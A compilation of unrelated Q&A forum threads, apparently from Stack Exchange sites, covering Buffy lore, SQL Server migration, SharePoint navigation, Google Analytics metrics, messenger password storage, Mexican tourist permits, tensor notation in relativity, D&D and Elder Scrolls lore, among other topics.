Why didn't the First Evil just bomb Buffy's house?

Question: We know that the First Evil and its Bringers are sufficiently well-organized to infiltrate and destroy the Watcher's Council.  So, what prevented them from doing the same to Buffy's house with her team and all the Potentials inside?
Comment: It's been a long time since I last watched the episodes you are referencing, but there are a couple of answers common to questions like this.  The most common:  A) They didn't think of it. B) It wouldn't have worked for the setup the author(s) devised.  C) They didn't have the time, resources, or inclination to act in this particular manner.
Answer: The answer I often come back to with questions like this, (i.e. "why didn't the bad guy do this...?"), is that the hero would have figured it out.  That's the nature of the show, both in-universe and out-of-universe.
There would have been an episode about it.  Bringers plant a bomb in Buffy's basement, in an attempt to kill her and the whole team.  Maybe they would have lured Buffy away so she didn't stop them, but inevitably she would have figured it out, run home, and stopped it at the last second.
Buffy had a well-established habit of saving the day by that point, which the First knew all too well.  To kill a bunch of old British people you can easily use a bomb, but to kill a Slayer you need something more complex and nuanced.  There are plenty of simple plans that COULD have killed the Slayer, or any other hero, but we have to remember that the villain is watching the same show we are, and the good guy has a bad habit of winning in the end.
So basically, the First didn't try because it didn't think a plan like that would work.
Answer: an in universe explanation would be that every single freaking Buffy villain is a psychotic megalomaniac with delusions of grandeur all of them want to win yes but they want to win with style they dont want to just kill Buffy and company they want to destroy their will to fight break their spirit and then kill them


SQL Server Migration Assistant Identity Generation

Question: I am using SSMA for migration from Oracle to SQL Server 2012. I want to migrate primary keys from Oracle as identity and primary key on SQL Server 2012. SSMA wants me to map every single primary key on source db with corresponding sequence but I have over 200 tables so is there a shortcut for this operation? I don't care about sequence values. Is there a way to say SSMA "Generate new sequence for every primary key and map them to identity(1,1)" ?
Answer: It looks like that newer versions of SSMA are not using SQL Server identity columns by default. But looking into the migration guide from Oracle to SQL Server 2012 section "Migrating Oracle Sequences" I suspect that changing Tools > Project Settings > General > Conversion > Sequence Conversion to "Using column identity" should suffice.
PS: I didn't try it on newer SSMA versions, judging based on the guide only.


MOSS 2007: Multi-layer flyout menus on the global navigation

Question: I've reset the MaximumDynamicDisplayLevels to 30. My goal is to create a global navigation menu that leads to other SharePoint sites/external links. Each tab on the navigation is the top category with sub categories that ultimately lead to pages/external links. While this is relatively easy to create on your standard webpage, I am having issues creating a dynamic menu that can be easily changed by admins as necessary.
Answer: Created a site heirarchy. Basically, under the top level, I created sub-sites. Under each subsite, I added the links I needed. The top level site displayed sites and their navigation in the flyout. Changed MaximumDynamicDisplayLevels to 5 because no more than 5 were needed.
Comment: Is this an answer to the question posed by the OP?
Comment: It was, I just wasn't logged in. :)


How can Google Analytics report a high bounce rate and average time on page in minutes? What is the difference?

Question: Some pages in my website(s) have low/high bounce rate but the Avg. Time on Page is more than 4 minutes
can anyone explain to me why the bounce rate is still high?
Comment: Could you please provide more details? Which metrics are you trying to figure out? You ask about average time on page, but you have a screenshot about average session duration. You have highlighted pages/session on your screenshot.
Answer: According to Google, a bounce rate is defined as:

Bounce rate is single-page sessions divided by all sessions, or the
  percentage of all sessions on your site in which users viewed only a
  single page and triggered only a single request to the Analytics
  server.

Given this definition, your session duration does not impact your bounce rate number.  Only, how many pages the user viewed on your site, or additional requests to Analytics.
So, your users could spend four minutes on a given page, and have their question fully answered, but not visit any other pages on your site.  Using the above definition, this would be considered a bounce.
Answer: This tool (Google Analytics) is created for millions different businesses, and as we now that every business is different in their own way you can't expect it to be suited for your business, so you can just plug it in an wait for results. The beauty and the challenge is to configure it right to get meaningful data. Bounce is calculated on session level, session end in : 30 min (by default, can be configured), End of the day (time zone which is set in GA account), When Acquisition Campaign changes, end more end more. All of that affect the bounce rate. And much more things for example if your page is too long, have a lot of reading material maybe not possible to read in 30 minutes that is a bounce as well.
And avg. time on page is by default calculated (time difference between 2 hits)
My advice is that you need To create new marketing/tracking plan go briefly through your site see where you can add some events, goals etc. If the page is too long add a scroll tracking or timer trigger, or even combine them (example). I mean the beauty is that you can track whatever you imagine to track, but the point is to track what is relevant for your business.
Comment: Thanks I appreciate that, thanks for the very good input!
Answer: Bounce rate is single-page sessions divided by all sessions, or the percentage of all sessions on your site in which users viewed only a single page and triggered only a single request to the Analytics server.
Average session duration is: total duration of all sessions (in seconds) / number of sessions.
Individual session duration is calculated differently depending on whether there are engagement hits on the last page of a session. Read more
Both of these metrics are different from each other in terms of engagement and interaction.
Answer: Average session duration navigates between two requests timestamp for the next page views. So the average amount of time a user spends on the page on your website known as Average Time.
Bounce Rate just others thing means visitors how much time spends on your website. It means the duration of the website to users enter and exit timestamp known as bounce rate. The bounce rate of website is always minimum.


How Empathy - a messaging program, is storing my passwords

Question: I am connected to my chat accounts via Empathy, a messaging program, and it has my password stored in it.
I am really curious to know how it is storing the passwords, and if there is any they can retrieved back in plain text?
Answer: As far as I know, Empathy is using the system's password storage capabilities (GNOME Keyring, KWallet etc.) to store the passwords for your accounts, so you may have to look into specifically how these tools operate. Which of them is actually used depends on what operating system and desktop environment you're running on.
Answer: When an application store your password it do so on your personal computer. This means that unless an attacker has physical access to your computer or unless your computer is compromised by a virus, your password is safe residing on your local machine.
Browser are also programs that can store your password. Let's take chrome for example. If you go in the setting you can see all the sites/passwords that you have. You can even see them in plain text if you select that option. So, yes they can be retrieve in plain text, but only if you are in much bigger trouble (attacker directly on your computer or a virus).


Need to identify a European uniform from around 1900

Question:
This is my great grandfather...from somewhere in eastern Europe...family from Istria.
Comment: It the ghost image present in the original, or caused by glare when you took  this shot?  If the latter, can you take a better shot?
Answer: In this photograph, an individual identified as an Austro-Hungarian soldier seems to be wearing a similar uniform, complete with the three dots on the gorget (collar), epaulets, belt, and bayonet. Your image is too dark to make out the pocket details. Since Istria was part of the Austro-Hungarian empire until 1918 someone from that region serving in the A-H military would not be surprising.
Comment: Please expand your answer to a point where it is still valid should the link go dead. Spell out what "this" and "the ID" actually are.


Is data left on disk in demand paging?

Question: In demand paging, is the data copied from disk into main memory, or it is transferred into main memory, leaving nothing behind in the disk?
Comment: What do you imagine a "transfer" would look like?
Answer: Nothing is "moved". Data is not a sheet of paper that can only be in one place at a time; it gets copied into memory, and afterwards it's still on disk. Erasing it on the disk would mean overwriting it with different data, which takes additional time after doing the read.
It may eventually get overwritten, since the system will, of course, know what parts of the swap are still valid and required data, and which parts are considered "unused".
Answer: Actually none of the above. Traditionally, process and files have their contents copied into memory whenever they are requested. With demand paging, however, this is not the case. When a file is requested to be loaded into memory, the operating system marks a place for that file to be inside the virtual address space of the process, but does not actually allocate the memory or copy the file. As soon as the process reads or writes to that area of memory, the processor throws a fault which the operating system traps. The operating system then copies the contents of the file to the page only then. This has the effect of saving memory as only the pages which are actually accessed are allocated. This is also true for heap allocation. If a program requests a large block of memory, it actually isnt allocated until the program uses that memory.

Is data left on disk in demand paging?


When resubmitting the revised manuscript, what if response to reviewers missed?

Question: I misunderstood the way of submitting response to reviewers document, so I submitted the revised manuscript before uploading response to reviewers. I contacted the journal with the attachment of response to reviewers, and I am worried about what should do next.
Will this resubmission be canceled and be considered as a new submission?
Comment: "I contacted to journal with the attachment of response to reviewer," I think you did what you could do. Now hope that the processes at the journal work well so that everybody who needs the responses gets them.
Comment: Is there online system to upload revised version? If yes, and if you are not so late (not more than a week), you should contact the editor and explain details to resubmit the updated version
Answer: Odds are the journal's editors can edit the submission and add the response to reviewers. If this doesn't happen, then chances are the editorial board are very hands-on (or the publisher is very hands-off), but they don't know how to operate the editorial management system. If that happens, write to the publisher and ask them what to do, and the publisher should upload the response to reviewers for you.


Mexican visa by land versus air

Question: I entered Mexico by air and got a 180-day visa. However I then went to Guatemala for 6 weeks and reentered into Mexico by bus. I seem to remember someone saying that the new visa, when we enter by land, is only 90 days, but I am looking at the immigration card they gave me when entering and I see no mention of the length of the Mexican visa.
Comment: @Midavalo might you add your comment as an answer (as your our resident MX expert)? Ping me and I'll upvote :)
Comment: @Midavalo any chance of an answer?
Comment: @MarkMayo have done now
Comment: Years ago it wasn't uncommon for people to get as little as two weeks on their visa when returning from Guatemala! Always ask each official you meet at the border because I'm never sure which one decides the number of days. Bring up the subject and haggle for as long as you can get. It's been a decade since I crossed that border though hence a comment rather than an answer.
Comment: The FMM tourist permit is issued for up to 180 days.  You can request this length of stay when you get the permit.  The cost is the same if you request 10 days or 180 days.
Comment: Sorry @Giorgio I only just saw this now
Answer: Visas to enter Mexico, if you need one, are obtained before entering the country (eg from a consulate in your home country), so I gather you are actually referring to the FMM tourist permit (which is not a Visa).  This permit just says you have been permitted to enter Mexico for the specified number of days.
Whenever we had them issued we had to fill in a form (kind of like an arrival form I guess), which included things like Name, Passport Number, Date of Arrival, and Length of Stay.
The Immigration Officer will then issue the permit for the length of time you had requested, up to 180 days.
If you have to pay a fee, the fee is the same no matter how long you request (eg 18 days and 180 days will both cost about $500 MXN).  If issued at the airport there should be no fee to pay (probably included in your ticket fees), and if entering by land there is only a fee if your permit is for more than 7 days.
I have had permits issued for anywhere between 4 and 180 days.  Unfortunately I cannot find any old FMM permits to include in this answer - if I find one I will update to include a picture.
The permits are not reusable unless crossing by land into Baja California.  Border crossings into other states require you to obtain a new permit (and pay another fee).  To/from Baja you can cross into California and back without needing to get a new permit each entry.
You can also fill in the FMM online before traveling to Mexico, however you still need to print it out and have it stamped by INM on entering the country.
Comment: I'm just now thinking maybe you tell them how many days rather than writing it on the form. I'm trying to get a copy of a recent FMM to verify and will update my answer if required
Answer: In 2018 and 2019 this isn´t true. The officer writes down on to the FMM tourist card the ammount of days you can stay in Mexico. It can be anything from 1-180 days and depends on the mood of the officer. Usually they automatically give you 180 days. If they didn´t write down the ammount of days you have, then you never know what they enetered in the system. Always make sure you have it. They must write it. I have crossed the border already three times there in the past 2 years and actually find it the best crossing to Mexico in regards of getting 180 days. The biggest problems are on the Belize border where you might get only 7 days which happened to me. They offer you then solutions how to make it 180 days. Figure it out how that is done in that case ;-)
Comment: @Roddy of the Frozen Peas actually if you read the post again, there is actually no question mark at all, so it looks like there is no question being asked. I suggest the author of this post should be more specific. I understood Mateo was questioning what he heared (getting 90 days when entering by land vs 180 days entering by air) and I answered that. You brought up the question that Mateo didn´t ask and is hard to ask non existing questions or questions that come up by other people later. I hope my reply was helpful and other tourists will not leave the border without double checking.
Comment: So how does this answer the question? Mateo says (in 2018) that the officer did not write anything on the card. You say "they must write it" but do not explain what do do when they do *not* write it.
Comment: It answers the question perfectly, that there is nothing like 90 days on the tourist card when you enter by land or 180 days when you enter by air. The immigration officer must write down the ammount of days you are allowed to stay in Mexico. If he didn´t, then the FMM is invalid and anybody having the same problem is risking overstay or other problems. By the way the tourist card needs to have a stamp and signature. There was no question about what to do about it. Use common sense, go to the border and ask how much you got or visit the nearest immigration office and get it sorted out there.
Comment: So the last part of your comment *does* answer the question. Or, it would, if there were sources. The part where you begin "The immigration officer must write down..." and continue that it is invalid otherwise. Your actual answer just says "the officer will do xyz things" but does not say what the consequences are if s/he does not, and how to resolve it.
Comment: Do recall that the people who will be reading this Q/A in the future may not be native English speakers and may otherwise be nervous or panicking and are unsure what to do. Common sense does not always apply to immigration, after all.

Mexican visa by land versus air


Is it possible to learn all skills in Glitch?

Question: Is it possible to learn all skills in Glitch?  I haven't seen anything definitive either way, but it looks like you can.
Answer: Yes, it is currently possible to learn every skill available, and many people have.  The only disadvantage to learning more skills is that there is a compounding 3% time penalty for every skill you learn above a certain limit.  The limit is determined by your current level of the Better Learning Skill.
The effect of this is that learning many 'fast' skills will make the longer skills later in the tree far more difficult to learn.  The current maximum penalty is over 4x the base learning time, so for skills that take days or weeks, this can be significant.
Thus, learning some skills you aren't interested now might penalize you in the future, should there be a long learning time skill that is introduced into the game later down the line.  The game developers have said that they have many skills planned for release in the near future.
One of these skills is thought to be Unlearning, which will allow you to 'forget' skills that you don't have any interest in retaining.  It would take a fraction of the time it takes to learn a skill in order to Unlearn it. The time taken to Unlearn a skill is not affected by the aforementioned penalty and the Unlearning skills themselves also do not add to the penalty.
The Skillifier is a tool I developed to track skill times and help you prioritize, if learning time is an interest/concern:
http://agent86ix.github.com/glitch
Comment: So if I don't care about the "difficulty" of learning a skill (which is just time, and I can do while I'm not logged in), there's not really any harm in going nuts on the skill tree?  Have the devs hinted that they might change things in the future that you won't be able to learn all skills?
Comment: In my opinion, there's no harm in going nuts on the skill tree.  They have not released any information that indicates that they will limit characters to a fixed number of skills in the future.
Comment: Good answer. Early on I pursued Block Making and Fuel Making... before I really knew what they were (they just sounded cool). I'm eagerly awaiting Unlearning, so I can dump them.


Understanding Einstein notation in special relativity

Question: I'm entering the realm of special relativity and amazingly the hardest part about it is the notation! I'm confused on exactly how to intuitively build an understanding, and this may be hindering the way I think. For example, I understand a vector $x^v$ can transform to another vector $\bar{x}^v$ via matrix multiplication: $$\bar{x}^v = \Lambda^v_\mu x^\mu$$
I tried to reason with covariant vectors as 'row vectors' such that the relation $$\bar{x}_v = \Lambda^{\mu}_v x_{\mu}$$
I think this interpretation breaks down in the covariant transformation: $$v_\mu = g_{\mu v} v^v$$
where $g_{\mu v}$ is the Minkowski metric. I'm struggling to see how this relationship makes any sense since I see a 'row vector' on the LHS and a matrix times a vector on the RHS. I think part of the confusion is that the metric is NOT a matrix, but I would love assistance on better understanding this.
Answer: It is best to drop always thinking in terms of the row and column vectors because this method breaks down for objects with more than one index. There is no direct way to distinguish between the matrix representations of a covariant and a contravariant object if they have more than one index. For example, a contravariant object $A^{\mu\nu}$ will be represented via a $4\times 4$ matrix just like its covariant version $A_{\alpha\beta}$. And there is no direct trick like associating the "row" version of the matrix with the square matrix of a covariant object and "column" version of the matrix with the square matrix of a contravariant object.
A suggested way of thinking about such objects is in light of their definition--in particular, in light of how they transform and as to with which objects they combine to give scalars. For example, gradients (naturally constructed as $\frac{\partial \phi}{\partial x^{\mu}}$) are covariant and the way to think about their covariance is to think about the fact that they combine with the contravariant coordinate displacements ($dx^\mu$) to give scalars ($d\phi$). In other words, a contravariant vector can be thought of as a mapping which takes in a covariant vector and maps it onto a scalar--and vice versa.
Regarding the specific example that you brought up, there is no fatal issue in considering a contravariant or a covariant object with only one index as a column or a row vector respectively. In particular, $g_{\mu\nu}$ can certainly be treated as a matrix so that it can be multiplied with a column vector (a contravariant tensor) to produce another column vector which would be the transpose of the row vector which is supposed to be the desired covariant vector. But, for the reasons expressed earlier, it is recommended to only occasionally think in this mode and not generally.
Comment: This is what bothers me; you said that $g_{\mu v}$ can be treated as a matrix that can be multiplied with a column vector to produce a row vector, but this is impossible? How could such a multiplication work?
Comment: @AyumuKasugano Thanks for your comment, I see what you are saying. I have deleted the last paragraph of my answer which was not perfectly correct. I will try to expand on the issue of whether you can treat $g_{\mu\nu}$ as a matrix or not later today.
Comment: @AyumuKasugano Okay, I have added the last paragraph again with the required editing.
Answer: You should stop thinking in terms of column vectors, row vectors, and matrices, because tensor components can have any number of indices, not just one or two. For example, $\epsilon_{\mu\nu\lambda\kappa}$ has four.
You should start thinking in terms of how physical quantities are tensors of various ranks; how they have contravariant, covariant, or mixed components; how the metric tensor can convert between the various forms of the components; how tensors can be added, multiplied, or contracted to form other tensors; and how tensor components transform under Lorentz transformations.
Tensors of higher rank are not as intuitive as vectors and matrices, but they obey simple rules that you can learn and become comfortable with.
If you need a more intuitive way to think about tensors of rank greater than one, think of them as products of vectors... one vector for each index. The "product" of $\mathbf{u}$ and $\mathbf{v}$ is not a scalar product $\mathbf{u}\cdot\mathbf{v}$ or a cross product $\mathbf{u}\times\mathbf{v}$ like you are used to in three dimensions; it is an "outer product" $\mathbf{u}\otimes\mathbf{v}$ where in component language the product of $u_i$ and $v_j$ is just $u_i v_j$. You can visualize this as a "multivector" consisting of two vectors, pointing in two different directions. Higher-rank tensors are multivectors of three or more vectors. This kind of product works in all dimensions, unlike the cross product which makes sense only in certain dimensions like 3D.
By the way, higher-rank tensors are not something that you only encounter in relativity, or in four dimensions. For example, in good old three-dimensional Newtonian gravity, the octupole moment of a mass distribution is a tensor with three indices, the hexadecapole moment is a tensor with four indices, etc. Another example is in linear elasticity theory, where the stiffness tensor relating the strain to the stress is a tensor with four indices.
Comment: The product whose result is a 2nd rank object with components $u_i u_j$ is not correctly called a tensor product. It is an outer product or a dyadic product. The outer product of two rank-1 objects is of rank 2. The tensor product of two rank-1 objects is of rank 1 but in a space of more dimensions called the tensor product space (this is much used in quantum mechanics).
Comment: @AndrewSteane I edited ny answer and changed "tensor product" to "outer product". But I'm a bit confused because Wikipedia's article "Outer product" says "The outer product on tensors is typically referred to as the tensor product."
Comment: I did some research on this too (a while ago). I think it is a case where a distinction that I think worth preserving is being lost as human language evolves. The tensor product commonly used in quantum theory has no other name; the outer product of vectors does have a name, and a good one. Here is inner, outer, tensor product: $\langle a | b \rangle$, $|a\rangle \langle b |$, $| a \rangle \otimes |b \rangle$.
Answer: I too find that the index notation is unnecessarily distracting for learning the main elements of special relativity (SR). It can be avoided for large parts of SR by adopting the notation of matrices and vectors. In matrix notation and vector notation for SR, one proceeds by only writing column vectors and matrices whose components are contravariant in the first instance, with the sole exception the metric tensor. Then when you want covariant things you can obtain them by multiplying by the metric tensor. You can get a long way like this without ever needing to write any indices!
This approach only postpones rather than avoids the use of indices, but it makes it possible to understand the index methods more readily, in my opinion.
The way to think here is to regard all rank-1 objects as column (not row) vectors, be they contravariant or covariant, but you must simply learn which combinations of these vectors require the use of a transpose in order that standard matrix multiplication rules map correctly to the corresponding indexed expression.
One should not self-advertise on this site without good cause, but in this instance I think there is good cause because I will mention a book which was written directly to handle this very question. This is an undergraduate text book by myself with OUP, called Relativity made relatively easy. I there deliberately adopt the policy of avoiding indices at the start, and introducing them only once the reader is already developing some expertise, and then taking some trouble to spell out how the notation corresponds to matrix notation insofar as it does.


Additional resources for Great Old Ones

Question: I'm new to D&D and am playing a warlock character with the Great Old One as a patron. I'm a bit disappointed at the lack of flavour that is available in the PHB regarding this and was wondering if there was anything else out there in 5e or any other edition (that is still readily available) that can give a bit more background on these Great Old ones?
Comment: Specifically in D&D or do you want information on the Great Old Ones in their mythos of origin?
Comment: I would prefer D&D as I'm assuming they haven't just taken the whole lovecraftian mythos
Comment: @link64 It's certainly worth reading into, although the Cthulhu mythos isn't super broad. The books have the flavor, but not much content.
Answer: The Great Old Ones is more of a group name for gods and monsters rather than the description of a series of similar beings. They are not the entities with the same name from the Cthulhu Mythos; instead they are a number of entities from a variety of sources. The ones mentioned are:
Ghaunadaur (Ghaunadar in the 5e PHB)
A member of the Drow pantheon, the god of outcasts, oozes, slimes, jellies and other such beings. Also receives lip service from Aboleth. Sources:

AD&D2e: Drow of the Underdark, Demihuman Deities
3/3.5e: Faiths and Pantheons, Lords of Madness

Tharizdun, the Chained God
The god of insanity, entropy, dark knowledge and other such pleasantness. Is currently locked away in a demiplane serving as his personal prison. If he ever escaped, all gods of both good and evil would likely join forces to lock him away again. He is masquerading as the Elder Elemental Eye, a being of immense power worshipped by a fair number of evil elementals. Sources:

AD&D1e: The Forgotten Temple of Tharizdun
3/3.5e: Return to the Temple of Elemental Evil, Complete Divine, Lords of Madness, Dragon #294 and #353
4e: The Plane Below. Note that Tharizdun's role here is a bit different (par course for 4e)

Dendar the Night Serpent
An ancient evil of Faerûn, she is a thing of nightmares and the harbinger of the end of the world. Dendar is a 300' long serpent with black to deep green scales, with a mouth capable of swallowing a dragon whole. She is currently located in the Fugue Plane, feasing on the nightmares of the dreaming in her sleep. Sources:

3/3.5e: Champions of Ruin
4e: Heroes of the Elemental Chaos (in a different role)

Zargon the Returner
A one-eyed horned monster worshipped by an evil cult responsible for the fall of the city of Cynidicea. Sources:

D&D Basic: The Lost City
3/3.5e: Elder Evils. This iteration is held to a degree of contempt because it radically changes Zargon's origins and links him to Baator and Asmodeus, a link predating both of those as we know them now. He was also significantly depowered and is not so great a threat it can qualify as an "Elder Evil" or "Great Old One".

Great Cthulhu
Ol' squidface himself. You know him, you love him. Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn.

AD&D1e: Deities and Demigods, 1980 print. TSR (the then-owners of D&D) believed they could add the Cthulhu Mythos to the book because it was public domain, but Arkham House claimed copyright and that they had licensed the Mythos to Chaosium, who you might know as the studio behind Call of Cthulhu. The Mythos (as well as materials from Elric of Melniboné, whose license Chaosium also held) remained in the book as the result of a compromise between TSR and Chaosium, but they were cut from the 1981 printing because TSR did not want to make references like that to their competition. This makes the 1980 prints of Deities & Demigods very valuable to collectors.
Comment: It's also worth noting that the Cthulhu mythos is, obviously, detailed within the books they were created in.
Answer: In the campaign setting 'primeval thule' which is available for fifth edition they go into depth with a heavy cthulhu mythos. In the core cook and the pkayers books they have rules for clerics of old ones, different types of warlocks for different great old ones ( e.g hastur, yog sottoth, etc.), and spells with a strong mythos theme. Would recommend for a cthulhu flavour game
Comment: Thanks for pointing me to Primeval Thule! Wasn't even aware something like this existed!
Comment: No problems,  it is essentially conan meets cthulhu and it is made by sasquach games who did princes of the apocalypse for 5e.

Additional resources for Great Old Ones


Was Cyrodiil a jungle before the Third Era?

Question: So it was established in Morrowind that Cyrodiil was a jungle before Tiber Septim changed it into plains and forests, but in The Elder Scrolls Online, Cyrodiil is plains and forests.
Is this a retcon? Is The Elder Scrolls Online canon at all?
Answer: Yes - and no. It is heavily implied that Talos changed reality when he ascended to Godhood, so that Cyrodiil was never a jungle. So before Talos ascended it was a jungle but since he ascended it has never been a jungle. This is the same way in which reality was changed so that the Tribunal have always been gods.
See Mythic Dawn Commentaries, Volume 3 (http://elderscrolls.wikia.com/wiki/Mythic_Dawn_Commentaries_3).
Relevant excerpt:

CHIM. Those who know it can reshape the land. Witness the home of the
  Red King Once Jungled.
Comment: This is contradicted by the fact that *The Elder Scrolls Online* shows a temperate Cyrodiil, but takes place nearly 300 years before Talos (a.k.a. Tiber Septim) was born (and there's no evidence that magic or Dragon Breaks can change the past).
Answer: Before Oblivion, Cyrodiil was unambiguously a jungle
Before The Elder Scrolls IV: Oblivion was released, all accounts of Cyrodiil were that it was definitely a jungle. (Emphasis in this and subsequent quotes are mine).

Indeed, if the history of the Nords is the history of humans on Tamriel, then Cyrodiil is the throne from which they will decide their destiny. It is the largest region of the continent, and most is endless jungle. Its center, the grassland of the Nibenay Valley, is enclosed by an equatorial rain forest and broken up by rivers. As one travels south along these rivers, the more subtropical it becomes, until finally the land gives way to the swamps of Argonia and the placid waters of the Topal Bay. The elevation rises gradually to the west and sharply to the north. Between its western coast and its central valley there are all manner of deciduous forest and mangroves, becoming sparser towards the ocean. The western coast is a wet-dry area, and from Rihad border to Anvil to the northernmost Valenwood villages forest fires are common in summer. There are a few major roads to the west, river paths to the north, and even a canopy tunnel to the Velothi Mountains, but most of Cyrodiil is a river-based society surrounded by jungle.
–Pocket Guide to the Empire, 1st Edition, "Cyrodiil", physical book bundled with The Elder Scrolls Adventures: Redguard

In-universe, the Pocket Guide to the Empire, 1st Edition was written around 2E 864, which is during the reign of Tiber Septim. Therefore, we can conclude that at least while he was Emperor during the end of the Second Era, Cyrodiil was a jungle. This is corroborated by other books as well.

Cyrodiil is the cradle of Human Imperial high culture on Tamriel. It is the largest region of the continent, and most is endless jungle. The Imperial City is in the heartland, the fertile Nibenay Valley. The densely populated central valley is surrounded by wild rain forests drained by great rivers into the swamps of Argonia and Topal Bay. The land rises gradually to the west and sharply to the north. Between its western coast and its central valley are deciduous forests and mangrove swamps.
–Provinces of Tamriel, first appearing in Morrowind

While there isn't a date of authorship for this book, it's noteworthy that it appeared in a game before Oblivion.
After Oblivion, it was retconned to have been changed from jungle to temperate forest by Tiber Septim after the end of the Second Era
We of course see that Cyrodiil is temperate in Oblivion, set at the end of the Third Era.

There is a single book that suggests that Talos (a.k.a. Tiber Septim) transformed Cyrodiil from a Jungle climate to a temperate climate. The "Red King" refers to Talos, and his home would be Cyrodiil.

CHIM. Those who know it can reshape the land. Witness the home of the Red King Once Jungled.
–Mythic Dawn Commentaries 3, first appearing in Oblivion

Additionally, Michael Kirkbride (writer for Redguard, Morrowind, and Oblivion) posted snippets from an in-universe book on the Bethesda forum in 2006 that more directly states that Tiber Septim changed the land from jungle to temperate forest.

"And after the throne of Alinor did finally break at the feet of Men, and news of it came to the Dragon Emperor in Cyrodiil, he gathered his captains and spoke to them, saying:
"'You have suffered for me to win this throne, and I see how you hate jungle. Let me show you the power of Talos Stormcrown [i.e. Tiber Septim], born of the North, where my breath is long winter. I breathe now, in royalty, and reshape this land which is mine. I do this for you, Red Legions, for I love you.'"
–The Many-Headed Talos, written by Michael Kirkbride and posted on the official Bethesda forum on June 27th, 2006

The latter part of Tiber Septim's speech (after mentioning Cyrodiil being a jungle) was reused for Heimskr in Skyrim.
The Elder Scrolls Online retconned again that Cyrodiil was temperate throughout the Second Era (but may have been a jungle in the distant past)
The above statements are all contradicted by The Elder Scrolls Online, set in 2E 582 (nearly three-hundred years before Tiber Septim was born in 2E 828). As we can plainly see, it is a temperate region, and not a jungle as would be expected before Tiber Septim's alleged terraforming.

Therefore, Cyrodiil was originally a jungle before the Third Era from an out-of-universe perspective, but has been retconned to have always been temperate even before Tiber Septim's birth.
The explanation for this discrepancy is that "endless jungle" was a transcription error.

Much has been made of the classical author Heimskr's characterization of Cyrodiil as a jungle or rainforest. My studies indicate that the use of the phrase "endless jungle" to describe Cyrodiil appears to be an error in transcription. Close study of the original, badly faded manuscript reveals that the phrase was miscopied, and should be more accurately rendered as "extensive uplands." The adjectives "an equatorial rain" as applied to the Nibenese forest do not appear in the original manuscript at all, and I would posit were added by the scribe in support of his previous erroneous use of "jungle."
—The Heartland of Cyrodiil, first appearing in The Elder Scrolls Online

Additionally, there is a competing theory that Cyrodiil was indeed once a jungle in the distant past, but was magically transformed over time due to the presence of Men in Cyrodiil.

According to "The Heartland of Cyrodiil," by that old fraud Phrastus of Elinhir, the Nibenese valley and the Colovian hills have always enjoyed the temperate climate they have today, and early references to Cyrodiil as a subtropical jungle were merely errors on the part of one of the Heimskrs.
Really? What, then, of the "waving fronds" of Vahtacen mentioned in the Hosiric Lays? What of Khosey's "dense-jungl'd shore of Rumare" in the Tamrilean Tractates? Are these, as well, the mistakes of errant copyists?
No, I think it more likely that three millennia ago Cyrodiil's climate was warmer and wetter than it is today. The environment of the Heartland has changed. Which begs the question: how? […]
And that, I believe, is the answer to how the Heartland changed from subtropical to temperate: because once Men ruled in Cyrodiil, the local reality changed to meet their needs and wishes. Changed slowly, perhaps, almost imperceptibly, but inexorably—until Cyrodiil became the realm of temperate forests and fields we now know.
—Subtropical Cyrodiil: A Speculation, first appearing in The Elder Scrolls Online

But any way you look at it, out-of-universe it's definitely a retcon
Both of these explanations fail to answer why Pocket Guide to the Empire, 1st Edition, written in 2E 864 (after The Elder Scrolls Online takes place), commissioned by Tiber Septim and written by the The Imperial Geographical Society, would make the mistake of saying that the Emperor's homeland was in fact a jungle. There is no in-universe explanation for this, and it's a pretty blatant retcon.
While it's possible that Tiber Septim somehow changed the past, there is no precedent for that happening in Tamriel (even with Dragon Breaks), and no suggestion that that was what was done.
Comment: In the "why not both" corner: the starting claim that it was a jungle specifically mentions a central grassland region (which exists for unclear reasons).  What evidence do we have that all of these "this is clearly a grassland or temperate forest" images etc. do not come from within this central region? I'm not terribly familiar with ESO, but Oblivion certainly seemed to occur within a very limited region within the center.
Comment: @zibadawatimmy I've replaced my example from *The Elder Scrolls IV: Oblivion* with one from [Cheydinhal](http://en.uesp.net/wiki/Oblivion:Cheydinhal), which is not in the central region. The game allows you to travel throughout the entire Cyrodiil province (well beyond the central region) and nowhere does it appear as a jungle. Same with *The Elder Scrolls Online*; you can travel anywhere in the province and there isn't any jungle to find anywhere.
Answer: All content in the canon games (ignoring the noncanon MMO which outright ignores and repeatedly contradicts all established lore for the series and is essentially licensed fanfiction) repeatedly state that Cyrodiil was formerly jungle prior to Tiber Septim's use of the Numidium at the end of the second era.
All books prior to Oblivion describe it as a jungle. Books in Oblivion itself refer to it as "once-jungled". Skyrim canonizes Michael Kirkbride's (formerly noncanon, as it was written when he wasn't employed by Bethesda) passage quoting Talos speaking to his legions about "reshaping the land" for their sake.
The only contradiction is in the MMO, which again, repeatedly contradicts much established lore and is centered around events that were never recorded in spite of their massive, sweeping effects on the entire continent, and which themselves are outright impossible to occur, and resulted in alliances between bitter enemies. Or, in other words, it's a fanciful fanfiction written by another company who poorly understands TES lore and (like Bethesda's original reason for writing lore about Talos reshaping Cyrodiil) just made Cyrodiil look like a generic forest because it's less work to copy Oblivion than to make it a jungle like it should be.
Generally it's good advice to pretend TESO doesn't exist when discussing real TES lore in any capacity, and to just pretend it exists in an alternate timeline (or maybe a future/past kalpa). Bethesda claims it's canon, but it's laughably inaccurate to call it that without sweeping retcons of basic facets of the series lore prior. I know Zenimax's PR called it canon, but you know, death of the author and all that. Or in this case, rather than the author, it's the PR guys working for the parent company of the company the authors worked for.
Comment: All the games in the series contradict each other to a certain extend (even besides the outcomes determined by player choice). This technique, also called the "Unreliable Narrator" is used in the whole series, sometimes contradicting other sources. Yes, the game more or less retconned Cyrodiil, supporting the theory of Talos changing Cyrodiil throughout time. This is also picked up by ESO in Sanctum Ophidia, where the Celestial Serpent remembers the original Cyrodiil and fights to restore it – [you even experience a vision of it](https://i.ytimg.com/vi/yuWU7yd8ZCk/maxresdefault.jpg).
Comment: The linked screenshot is from a [discussion regarding this on /r/teslore](https://www.reddit.com/r/teslore/comments/4mvol8/jungled_cyrodiil_as_premundus/) from a few years ago.
Answer: The reason a book written during Septim's reign says Cyrodiil is jungle when Septim reshaped the land as a god is because Septim didn't actually become the god Talos until after the Warp in the West when the Numidium was used. However when he became god he altered time with the Dragon Break so that everyone believes Septim became a god upon his death. He also altered time so Cyrodiil was always temperate, though it was a jungle before he ascended to godhood.
Comment: Hi, welcome to SF&F.  You could improve this answer by adding some quotes to support your argument.


How can I prevent code from initiating outbound http connections?

